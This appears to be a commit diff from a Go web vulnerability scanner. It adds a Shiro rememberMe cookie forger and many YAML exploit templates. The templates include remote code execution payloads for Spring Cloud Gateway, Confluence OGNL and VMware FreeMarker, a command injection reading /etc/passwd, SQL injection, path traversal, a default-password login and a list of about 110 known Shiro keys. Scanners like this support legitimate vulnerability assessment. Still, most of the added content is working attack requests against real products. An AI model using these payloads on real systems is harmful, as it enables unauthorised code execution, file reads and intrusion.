-	0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
-	0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
-	0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
-	0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
-	0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
-	0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
-	0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
-	0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
+var file_http_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
+var file_http_proto_goTypes = []interface{}{
+	(*UrlType)(nil),  // 0: lib.UrlType
+	(*Request)(nil),  // 1: lib.Request
+	(*Response)(nil), // 2: lib.Response
+	(*Reverse)(nil),  // 3: lib.Reverse
+	nil,              // 4: lib.Request.HeadersEntry
+	nil,              // 5: lib.Response.HeadersEntry
+}
+var file_http_proto_depIdxs = []int32{
+	0, // 0: lib.Request.url:type_name -> lib.UrlType
+	4, // 1: lib.Request.headers:type_name -> lib.Request.HeadersEntry
+	0, // 2: lib.Response.url:type_name -> lib.UrlType
+	5, // 3: lib.Response.headers:type_name -> lib.Response.HeadersEntry
+	4, // [4:4] is the sub-list for method output_type
+	4, // [4:4] is the sub-list for method input_type
+	4, // [4:4] is the sub-list for extension type_name
+	4, // [4:4] is the sub-list for extension extendee
+	0, // [0:4] is the sub-list for field type_name
 }
 
-func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
-	var pocs []*Poc
-	for _, f := range SelectPoc(Pocs, pocname) {
-		if p, err := LoadPoc(f, Pocs); err == nil {
-			pocs = append(pocs, p)
-		} else {
-			fmt.Println("[-] load poc ", f, " error:", err)
+func init() { file_http_proto_init() }
+func file_http_proto_init() {
+	if File_http_proto != nil {
+		return
+	}
+	if !protoimpl.UnsafeEnabled {
+		file_http_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*UrlType); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_http_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*Request); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_http_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*Response); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_http_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*Reverse); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
 		}
 	}
-	return pocs
-}
-
-func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
-	p := &Poc{}
-	yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
-
-	if err != nil {
-		fmt.Printf("[-] load poc %s error: %v", fileName, err)
-		return nil, err
-	}
-	err = yaml.Unmarshal(yamlFile, p)
-	if err != nil {
-		fmt.Printf("[-] load poc %s error: %v", fileName, err)
-		return nil, err
-	}
-	return p, err
-}
-
-func SelectPoc(Pocs embed.FS, pocname string) []string {
-	entries, err := Pocs.ReadDir("pocs")
-	if err != nil {
-		fmt.Println(err)
-	}
-	var foundFiles []string
-	for _, entry := range entries {
-		if strings.Contains(entry.Name(), pocname) {
-			foundFiles = append(foundFiles, entry.Name())
-		}
-	}
-	return foundFiles
-}
-
-func LoadPocbyPath(fileName string) (*Poc, error) {
-	p := &Poc{}
-	data, err := ioutil.ReadFile(fileName)
-	if err != nil {
-		fmt.Printf("[-] load poc %s error: %v", fileName, err)
-		return nil, err
-	}
-	err = yaml.Unmarshal(data, p)
-	if err != nil {
-		fmt.Printf("[-] load poc %s error: %v", fileName, err)
-		return nil, err
-	}
-	return p, err
+	type x struct{}
+	out := protoimpl.TypeBuilder{
+		File: protoimpl.DescBuilder{
+			GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
+			RawDescriptor: file_http_proto_rawDesc,
+			NumEnums:      0,
+			NumMessages:   6,
+			NumExtensions: 0,
+			NumServices:   0,
+		},
+		GoTypes:           file_http_proto_goTypes,
+		DependencyIndexes: file_http_proto_depIdxs,
+		MessageInfos:      file_http_proto_msgTypes,
+	}.Build()
+	File_http_proto = out.File
+	file_http_proto_rawDesc = nil
+	file_http_proto_goTypes = nil
+	file_http_proto_depIdxs = nil
 }

WebScan/lib/http.proto

@@ -1,6 +1,8 @@
 syntax = "proto3";
 package lib;
 
+option go_package = "./;lib";
+
 message UrlType {
   string scheme = 1;
   string domain = 2;
@@ -25,11 +27,12 @@ message Response {
   map<string, string> headers = 3;
   string content_type = 4;
   bytes body = 5;
+  double duration = 6;
 }
 
 message Reverse {
-  UrlType url = 1;
+  string url = 1;
   string domain = 2;
   string ip = 3;
   bool is_domain_name_server = 4;
-}
+}

WebScan/lib/shiro.go

@@ -0,0 +1,73 @@
+package lib
+
+import (
+	"bytes"
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/rand"
+	"encoding/base64"
+	"io"
+
+	uuid "github.com/satori/go.uuid"
+)
+
+var (
+	CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
+	Content, _   = base64.StdEncoding.DecodeString(CheckContent)
+)
+
+func Padding(plainText []byte, blockSize int) []byte {
+	//计算要填充的长度
+	n := (blockSize - len(plainText)%blockSize)
+	//对原来的明文填充n个n
+	temp := bytes.Repeat([]byte{byte(n)}, n)
+	plainText = append(plainText, temp...)
+	return plainText
+}
+
+func GetShrioCookie(key, mode string) string {
+	if mode == "gcm" {
+		return AES_GCM_Encrypt(key)
+	} else {
+		//cbc
+		return AES_CBC_Encrypt(key)
+	}
+}
+
+//AES CBC加密后的payload
+func AES_CBC_Encrypt(shirokey string) string {
+	key, err := base64.StdEncoding.DecodeString(shirokey)
+	if err != nil {
+		return ""
+	}
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return ""
+	}
+	Content = Padding(Content, block.BlockSize())
+	iv := uuid.NewV4().Bytes()                     //指定初始向量vi,长度和block的块尺寸一致
+	blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式，返回一个BlockMode接口对象
+	cipherText := make([]byte, len(Content))
+	blockMode.CryptBlocks(cipherText, Content) //加密数据
+	return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
+}
+
+//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
+func AES_GCM_Encrypt(shirokey string) string {
+	key, err := base64.StdEncoding.DecodeString(shirokey)
+	if err != nil {
+		return ""
+	}
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return ""
+	}
+	nonce := make([]byte, 16)
+	_, err = io.ReadFull(rand.Reader, nonce)
+	if err != nil {
+		return ""
+	}
+	aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
+	ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
+	return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
+}

WebScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
+rules:
+  - method: GET
+    path: /jbossmq-httpil/HTTPServerILServlet
+    expression: |
+      response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
+detail:
+  author: mamba
+  description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
+  links:
+    - https://github.com/chaosec2021

WebScan/pocs/CVE-2022-22947.yml

@@ -0,0 +1,44 @@
+name: Spring-Cloud-CVE-2022-22947
+set:
+  router: randomLowercase(8)
+  rand1: randomInt(800000000, 1000000000)
+  rand2: randomInt(800000000, 1000000000)
+rules:
+  - method: POST
+    path: /actuator/gateway/routes/{{router}}
+    headers:
+      Content-Type: application/json
+    body: |
+      {
+        "id": "{{router}}",
+        "filters": [{
+          "name": "AddResponseHeader",
+          "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
+        }],
+      "uri": "http://example.com",
+      "order": 0
+      }
+    expression: response.status == 201
+  - method: POST
+    path: /actuator/gateway/refresh
+    headers:
+      Content-Type: application/json
+    expression: response.status == 200
+  - method: GET
+    path: /actuator/gateway/routes/{{router}}
+    headers:
+      Content-Type: application/json
+    expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
+  - method: DELETE
+    path: /actuator/gateway/routes/{{router}}
+    expression: response.status == 200
+  - method: POST
+    path: /actuator/gateway/refresh
+    headers:
+      Content-Type: application/json
+    expression: response.status == 200
+detail:
+  author: jweny
+  description: Spring Cloud Gateway Code Injection
+  links:
+    - https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w

WebScan/pocs/CVE-2022-22954-VMware-RCE.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-CVE-2022-22954-VMware-RCE
+rules:
+  - method: GET
+    path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
+    expression: |
+      response.status == 400 && "device id:".bmatches(response.body)
+detail:
+  author: mamba
+  description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
+  links:
+    - https://github.com/chaosec2021

WebScan/pocs/CVE-2022-26134.yml

@@ -0,0 +1,16 @@
+name: Confluence-CVE-2022-26134
+
+rules:
+ -  method: GET
+    path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
+    expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
+detail:
+  author: zan8in
+  description: |
+    Atlassian Confluence OGNL注入漏洞
+    Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新，通告了一个严重且已在野利用的代码执行漏洞，攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
+    app="ATLASSIAN-Confluence"
+  links:
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-26134
+    - http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
+    - https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd

WebScan/pocs/Hotel-Internet-Manage-RCE.yml

@@ -2,9 +2,6 @@ name: Hotel-Internet-Manage-RCE
 rules:
   - method: GET
     path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
-    headers:
-      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"
-      Accept-Encoding: "gzip,deflate"
     expression: |
       response.status == 200 && response.body.bcontains(b"parent.doTestResult")
 detail:
@@ -12,4 +9,4 @@ detail:
   Affected Version: "Hotel Internet Billing & Operation Support System"
   links:
     - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
-    
+

WebScan/pocs/apache-axis-webservice-detect.yml

@@ -0,0 +1,25 @@
+name: poc-yaml-apache-axis-webservice-detect
+sets:
+  path:
+    - services
+    - servlet/AxisaxiServlet
+    - servlet/AxisServlet
+    - services/listServices
+    - services/FreeMarkerService
+    - services/AdminService
+    - axis/services
+    - axis2/services
+    - axis/servlet/AxisServlet
+    - axis2/servlet/AxisServlet
+    - axis2/services/listServices
+    - axis/services/FreeMarkerService
+    - axis/services/AdminService
+rules:
+  - method: GET
+    path: /{{path}}
+    expression: |
+      response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl"><i>')
+detail:
+  author: AgeloVito
+  links:
+    - https://paper.seebug.org/1489

WebScan/pocs/backup-file.yml

@@ -0,0 +1,64 @@
+name: poc-yaml-backup-file
+set:
+  host: request.url.domain
+sets:
+  path:
+    - "sql"
+    - "www"
+    - "wwwroot"
+    - "index"
+    - "backup"
+    - "back"
+    - "data"
+    - "web"
+    - "db"
+    - "database"
+    - "ftp"
+    - "admin"
+    - "upload"
+    - "package"
+    - "sql"
+    - "old"
+    - "test"
+    - "root"
+    - "beifen"
+    - host
+  ext:
+    - "zip"
+    - "7z"
+    - "rar"
+    - "gz"
+    - "tar.gz"
+    - "db"
+    - "bak"
+
+rules:
+  - method: GET
+    path: /{{path}}.{{ext}}
+    follow_redirects: false
+    continue: true
+    expression: |
+      response.content_type.contains("application/") &&
+      (response.body.startsWith("377ABCAF271C".hexdecode()) ||
+      response.body.startsWith("314159265359".hexdecode()) ||
+      response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) ||
+      response.body.startsWith("1f8b".hexdecode()) ||
+      response.body.startsWith("526172211A0700".hexdecode()) ||
+      response.body.startsWith("FD377A585A0000".hexdecode()) ||
+      response.body.startsWith("1F9D".hexdecode()) ||
+      response.body.startsWith("1FA0".hexdecode()) ||
+      response.body.startsWith("4C5A4950".hexdecode()) ||
+      response.body.startsWith("504B0304".hexdecode()) )
+#      - "377ABCAF271C"  # 7z
+#      - "314159265359"  # bz2
+#      - "53514c69746520666f726d6174203300"  # SQLite format 3.
+#      - "1f8b"  # gz tar.gz
+#      - "526172211A0700"  # rar RAR archive version 1.50
+#      - "526172211A070100"  # rar RAR archive version 5.0
+#      - "FD377A585A0000"  # xz tar.xz
+#      - "1F9D"  # z tar.z
+#      - "1FA0"  # z tar.z
+#      - "4C5A4950"  # lz
+#      - "504B0304"  # zip
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)

WebScan/pocs/django-CVE-2018-14574.yml

@@ -0,0 +1,12 @@
+name: poc-yaml-django-CVE-2018-14574
+
+rules:
+  - method: GET
+    path: //www.example.com
+    follow_redirects: false
+    expression: response.status == 301 && response.headers['location']=="//www.example.com/"
+
+detail:
+    author: ivan
+    links:
+        - https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574 

WebScan/pocs/e-office-v10-sql-inject.yml

@@ -0,0 +1,14 @@
+name: e-office-v10-sql-inject
+rules:
+  - method: GET
+    path: /eoffice10/server/ext/system_support/leave_record.php?flow_id=1&run_id=1&table_field=1&table_field_name=user()&max_rows=10
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b'<p>未找到相关数据</p>')
+detail:
+  author: Print1n(https://github.com/Print1n)
+  description: |
+    泛微 eoffice v10 前台 SQL 注入
+    FOFA：fid="2csJpuWtfTdSAavIfJTuBw=="
+  links:
+    - https://www.hedysx.com/2777.html

WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml

@@ -0,0 +1,22 @@
+name: e-office-v9-upload-cnvd-2021-49104
+set:
+  r1: randomLowercase(8)
+rules:
+  - method: POST
+    path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
+    headers:
+      Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
+    body: |-
+      --e64bdf16c554bbc109cecef6451c26a4
+      Content-Disposition: form-data; name="Filedata"; filename="test.txt"
+      Content-Type: image/jpeg
+      {{r1}}
+      --e64bdf16c554bbc109cecef6451c26a4--
+    expression: response.status == 200  && response.body.bcontains(b"logo-eoffice")
+  - method: GET
+    path: /images/logo/logo-eoffice.txt
+    expression: response.status == 200 && response.body.bcontains(bytes(r1))
+detail:
+  author: szd790056181
+  links:
+    - http://www.ctfiot.com/13682.html

WebScan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-ezoffice-downloadhttp.jsp-filedownload
+rules:
+  - method: GET
+    path: /defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jsp
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.headers["filename"].contains("../public/edit/jsp/config.jsp")
+
+detail:
+  author: PeiQi0
+  links:
+    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20downloadhttp.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md
+  tags: ezoffice,file,download

WebScan/pocs/fckeditor-info.yml

@@ -0,0 +1,19 @@
+name: poc-yaml-fckeditor-info
+sets:
+  path:
+    - "/fckeditor/_samples/default.html"
+    - "/fckeditor/editor/filemanager/connectors/uploadtest.html"
+    - "/ckeditor/samples/"
+    - "/editor/ckeditor/samples/"
+    - "/ckeditor/samples/sample_posteddata.php"
+    - "/editor/ckeditor/samples/sample_posteddata.php"
+    - "/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"
+    - "/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php"
+rules:
+  - method: GET
+    path: /{{path}}
+    follow_redirects: false
+    expression: |
+      response.body.bcontains(b'<title>FCKeditor') || response.body.bcontains(b'<title>CKEditor Samples</title>') || response.body.bcontains(b'http://ckeditor.com</a>') || response.body.bcontains(b'Custom Uploader URL:') || response.body.bcontains(b'init_spell()') || response.body.bcontains(b"'tip':'")
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)

WebScan/pocs/hikvision-gateway-data-file-read.yml

@@ -0,0 +1,15 @@
+name: hikvision-gateway-data-file-read
+rules:
+ -  method: GET
+    path: /data/login.php::$DATA
+    expression: |
+      response.status == 200 && response.body.bcontains(b'DataBaseQuery();') && response.body.bcontains(b'$_POST[\'userName\'];') && response.body.bcontains(b'$_POST[\'password\'];')
+info:
+  author: zan8in
+  description: |
+    HIKVISION 视频编码设备接入网关 $DATA 任意文件读取
+    HIKVISION 视频编码设备接入网关存在配置错误特性，特殊后缀请求php文件可读取源码
+    title="视频编码设备接入网关"
+  links:
+    - http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20$DATA%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html
+

WebScan/pocs/hikvision-showfile-file-read.yml

@@ -0,0 +1,13 @@
+name: hikvision-showfile-file-read
+rules:
+ - method: GET
+   path: /serverLog/showFile.php?fileName=../web/html/main.php
+   expression: |
+      response.status == 200 && response.body.bcontains(b'$_SERVER[\'HTTP_HOST\'];') && response.body.bcontains(b'$_POST[\'userName\'];')
+info:
+  author: zan8in
+  description: |
+    海康威视视频接入网关系统在页面/serverLog/showFile.php的参数fileName存在任意文件下载漏洞
+    title="视频编码设备接入网关"
+  links:
+    - http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20showFile.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html

WebScan/pocs/jira-ssrf-cve-2019-8451.yml

@@ -1,14 +1,13 @@
 name: poc-yaml-jira-ssrf-cve-2019-8451
 set:
+  reverse: newReverse()
   originScheme: request.url.scheme
   originHost: request.url.host
-  reverse: newReverse()
-  reverseHost: reverse.url.host
-  reverseURL: reverse.url.path
+  reverseURL: reverse.domain
 rules:
   - method: GET
     path: >-
-      /plugins/servlet/gadgets/makeRequest?url={{originScheme}}://{{originHost}}@{{reverseHost}}{{reverseURL}}
+      /plugins/servlet/gadgets/makeRequest?url={{originScheme}}://{{originHost}}@{{reverseURL}}
     headers:
       X-Atlassian-Token: no-check
     expression: |

WebScan/pocs/sangfor-ad-download.php-filedownload.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-sangfor-ad-download.php-filedownload
+rules:
+  - method: GET
+    path: /report/download.php?pdf=../../../../../etc/hosts
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b'localhost') && response.headers['Content-Disposition'].contains('hosts')
+
+detail:
+  author: PeiQi0
+  links:
+    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E6%8A%A5%E8%A1%A8%E7%B3%BB%E7%BB%9F%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
+  tags: sangfor,file,download

WebScan/pocs/seeyon-oa-a8-m-information-disclosure.yml

@@ -0,0 +1,18 @@
+name: poc-yaml-seeyon-oa-a8-m-information-disclosure
+manual: true
+transport: http
+rules:
+  - method: GET
+    path: /seeyon/management/index.jsp
+    expression: response.status == 200
+  - method: POST
+    path: /seeyon/management/index.jsp
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: password=WLCCYBD%40SEEYON
+    follow_redirects: true
+    expression: response.status == 200 && response.body.bcontains(bytes("Free Physical Memory Size"))
+detail:
+  author: Monday
+  links:
+    - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A8%20status.jsp%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html

WebScan/pocs/shiro-key.yml

@@ -0,0 +1,155 @@
+name: poc-yaml-shiro-key
+set:
+  randstr: randomUppercase(32)
+sets:
+  key:
+    - "kPH+bIxk5D2deZiIxcaaaA=="
+    - "2AvVhdsgUs0FSA3SDFAdag=="
+    - "3AvVhmFLUs0KTA3Kprsdag=="
+    - "4AvVhmFLUs0KTA3Kprsdag=="
+    - "5aaC5qKm5oqA5pyvAAAAAA=="
+    - "6ZmI6I2j5Y+R5aSn5ZOlAA=="
+    - "bWljcm9zAAAAAAAAAAAAAA=="
+    - "wGiHplamyXlVB11UXWol8g=="
+    - "Z3VucwAAAAAAAAAAAAAAAA=="
+    - "MTIzNDU2Nzg5MGFiY2RlZg=="
+    - "zSyK5Kp6PZAAjlT+eeNMlg=="
+    - "U3ByaW5nQmxhZGUAAAAAAA=="
+    - "5AvVhmFLUs0KTA3Kprsdag=="
+    - "bXdrXl9eNjY2KjA3Z2otPQ=="
+    - "fCq+/xW488hMTCD+cmJ3aQ=="
+    - "1QWLxg+NYmxraMoxAXu/Iw=="
+    - "ZUdsaGJuSmxibVI2ZHc9PQ=="
+    - "L7RioUULEFhRyxM7a2R/Yg=="
+    - "r0e3c16IdVkouZgk1TKVMg=="
+    - "bWluZS1hc3NldC1rZXk6QQ=="
+    - "a2VlcE9uR29pbmdBbmRGaQ=="
+    - "WcfHGU25gNnTxTlmJMeSpw=="
+    - "ZAvph3dsQs0FSL3SDFAdag=="
+    - "tiVV6g3uZBGfgshesAQbjA=="
+    - "cmVtZW1iZXJNZQAAAAAAAA=="
+    - "ZnJlc2h6Y24xMjM0NTY3OA=="
+    - "RVZBTk5JR0hUTFlfV0FPVQ=="
+    - "WkhBTkdYSUFPSEVJX0NBVA=="
+    - "GsHaWo4m1eNbE0kNSMULhg=="
+    - "l8cc6d2xpkT1yFtLIcLHCg=="
+    - "KU471rVNQ6k7PQL4SqxgJg=="
+    - "0AvVhmFLUs0KTA3Kprsdag=="
+    - "1AvVhdsgUs0FSA3SDFAdag=="
+    - "25BsmdYwjnfcWmnhAciDDg=="
+    - "3JvYhmBLUs0ETA5Kprsdag=="
+    - "6AvVhmFLUs0KTA3Kprsdag=="
+    - "6NfXkC7YVCV5DASIrEm1Rg=="
+    - "7AvVhmFLUs0KTA3Kprsdag=="
+    - "8AvVhmFLUs0KTA3Kprsdag=="
+    - "8BvVhmFLUs0KTA3Kprsdag=="
+    - "9AvVhmFLUs0KTA3Kprsdag=="
+    - "OUHYQzxQ/W9e/UjiAGu6rg=="
+    - "a3dvbmcAAAAAAAAAAAAAAA=="
+    - "aU1pcmFjbGVpTWlyYWNsZQ=="
+    - "bXRvbnMAAAAAAAAAAAAAAA=="
+    - "OY//C4rhfwNxCQAQCrQQ1Q=="
+    - "5J7bIJIV0LQSN3c9LPitBQ=="
+    - "f/SY5TIve5WWzT4aQlABJA=="
+    - "bya2HkYo57u6fWh5theAWw=="
+    - "WuB+y2gcHRnY2Lg9+Aqmqg=="
+    - "3qDVdLawoIr1xFd6ietnwg=="
+    - "YI1+nBV//m7ELrIyDHm6DQ=="
+    - "6Zm+6I2j5Y+R5aS+5ZOlAA=="
+    - "2A2V+RFLUs+eTA3Kpr+dag=="
+    - "6ZmI6I2j3Y+R1aSn5BOlAA=="
+    - "SkZpbmFsQmxhZGUAAAAAAA=="
+    - "2cVtiE83c4lIrELJwKGJUw=="
+    - "fsHspZw/92PrS3XrPW+vxw=="
+    - "XTx6CKLo/SdSgub+OPHSrw=="
+    - "sHdIjUN6tzhl8xZMG3ULCQ=="
+    - "O4pdf+7e+mZe8NyxMTPJmQ=="
+    - "HWrBltGvEZc14h9VpMvZWw=="
+    - "rPNqM6uKFCyaL10AK51UkQ=="
+    - "Y1JxNSPXVwMkyvES/kJGeQ=="
+    - "lT2UvDUmQwewm6mMoiw4Ig=="
+    - "MPdCMZ9urzEA50JDlDYYDg=="
+    - "xVmmoltfpb8tTceuT5R7Bw=="
+    - "c+3hFGPjbgzGdrC+MHgoRQ=="
+    - "ClLk69oNcA3m+s0jIMIkpg=="
+    - "Bf7MfkNR0axGGptozrebag=="
+    - "1tC/xrDYs8ey+sa3emtiYw=="
+    - "ZmFsYWRvLnh5ei5zaGlybw=="
+    - "cGhyYWNrY3RmREUhfiMkZA=="
+    - "IduElDUpDDXE677ZkhhKnQ=="
+    - "yeAAo1E8BOeAYfBlm4NG9Q=="
+    - "cGljYXMAAAAAAAAAAAAAAA=="
+    - "2itfW92XazYRi5ltW0M2yA=="
+    - "XgGkgqGqYrix9lI6vxcrRw=="
+    - "ertVhmFLUs0KTA3Kprsdag=="
+    - "5AvVhmFLUS0ATA4Kprsdag=="
+    - "s0KTA3mFLUprK4AvVhsdag=="
+    - "hBlzKg78ajaZuTE0VLzDDg=="
+    - "9FvVhtFLUs0KnA3Kprsdyg=="
+    - "d2ViUmVtZW1iZXJNZUtleQ=="
+    - "yNeUgSzL/CfiWw1GALg6Ag=="
+    - "NGk/3cQ6F5/UNPRh8LpMIg=="
+    - "4BvVhmFLUs0KTA3Kprsdag=="
+    - "MzVeSkYyWTI2OFVLZjRzZg=="
+    - "empodDEyMwAAAAAAAAAAAA=="
+    - "A7UzJgh1+EWj5oBFi+mSgw=="
+    - "c2hpcm9fYmF0aXMzMgAAAA=="
+    - "i45FVt72K2kLgvFrJtoZRw=="
+    - "U3BAbW5nQmxhZGUAAAAAAA=="
+    - "Jt3C93kMR9D5e8QzwfsiMw=="
+    - "MTIzNDU2NzgxMjM0NTY3OA=="
+    - "vXP33AonIp9bFwGl7aT7rA=="
+    - "V2hhdCBUaGUgSGVsbAAAAA=="
+    - "Q01TX0JGTFlLRVlfMjAxOQ=="
+    - "Is9zJ3pzNh2cgTHB4ua3+Q=="
+    - "NsZXjXVklWPZwOfkvk6kUA=="
+    - "GAevYnznvgNCURavBhCr1w=="
+    - "66v1O8keKNV3TTcGPK1wzg=="
+    - "SDKOLKn2J1j/2BHjeZwAoQ=="
+    - "kPH+bIxk5D2deZiIxcabaA=="
+    - "kPH+bIxk5D2deZiIxcacaA=="
+    - "3AvVhdAgUs0FSA4SDFAdBg=="
+    - "4AvVhdsgUs0F563SDFAdag=="
+    - "FL9HL9Yu5bVUJ0PDU1ySvg=="
+    - "5RC7uBZLkByfFfJm22q/Zw=="
+    - "eXNmAAAAAAAAAAAAAAAAAA=="
+    - "fdCEiK9YvLC668sS43CJ6A=="
+    - "FJoQCiz0z5XWz2N2LyxNww=="
